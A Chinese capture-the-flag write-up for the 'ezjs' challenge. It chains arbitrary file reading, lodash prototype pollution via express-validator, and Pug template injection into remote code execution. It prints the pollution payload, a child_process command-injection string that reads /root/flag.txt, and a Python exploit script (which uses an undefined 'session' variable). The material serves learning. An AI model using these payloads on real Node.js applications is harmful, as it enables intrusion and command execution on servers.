ezjs
随便登录进去,发现有任意文件读取。
任意文件读取
发现是express项目,先把package.json搞出来,然后根据内容./bin/www.js 搞出来
剩下的看着提出来。
lodash的原型链污染
发现项目使用了express-validator 和 lodash<4.7.17 ,有原型链污染攻击,
并且在./routes/index.js (/admin)中发现了如下代码,目标比较明确,

需要把isadmin污染成不等于notadmin以及debug污染成随便一个玩意,同时要提交一个参数p,使用pug的rce漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13
   | var validator = [   body('*').trim(),   body('username').if(body('username').exists()).isLength({min: 5})   .withMessage("username is too short"),   body('password').if(body('password').exists()).isLength({min: 5})   .withMessage("password is too short"),(req, res, next) => { 		const errors = validationResult(req) 		if (!errors.isEmpty()) {       return res.status(400).render('msg', {title: 'error', msg: errors.array()[0].msg}); 		} 		next() 	} ];
 
  | 
 
关于lodash的原型链污染已经是老生常谈的事情了,在XNUCA中就出现过,
参考
XNUCA2020Qualifier
paper.seebug.org
有了body('*').trim() ,使用express-validator做参数过滤,可以污染。
但是有一点不太一样,本题没有用json,所以还是不太一样的。

但是可以使用该处的污染为空值,就绕过了。
payload
1 2 3 4 5 6
   | {    "username":'ruaruaruaruaruarua',    "password":'ruaruaruaruaruarua',    '"].__proto__["isadmin': 'rua',    '"].__proto__["debug': 'rua', }
 
  | 
 
PUG的pretty未经处理导致RCE
跟进pretty,在 pug-code-gen 中发现。

继续跟进,在 visitMixinBlock 中发现没有经过任何处理直接拼接字符串。

同样,在 visitMixin 中也有

可以进行一个使用引号拼接字符串,
1
   | ');return global.process.mainModule.constructor._load('child_process').exec('cat /root/flag.txt');_=('
 
  | 
 
到此RCE结束。
最后的最后,附上我的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | import requests
  url = "http://localhost:8888"
  session.post(url+'/login',data={    "username":'ruaruaruaruaruarua',    "password":'ruaruaruaruaruarua',    '"].__proto__["isadmin': 'rua',    '"].__proto__["debug': 'rua', }) r = session.get(url+'/admin',params={    "p":"');return process.mainModule.constructor._load('child_process').execSync('tac /root/flag.txt');_=('" }) print(r.text)
 
  | 
 
总结
比较可惜吧,原型链污染到了但是由于没有发现pug的这个rce洞导致这题没做出来。
实际上真挺蠢的,当时读文件的时候直接读了package.json,pug的版本不对,审计了半天源码发现毛漏洞都没有
长记性了,下次直接package-lock.json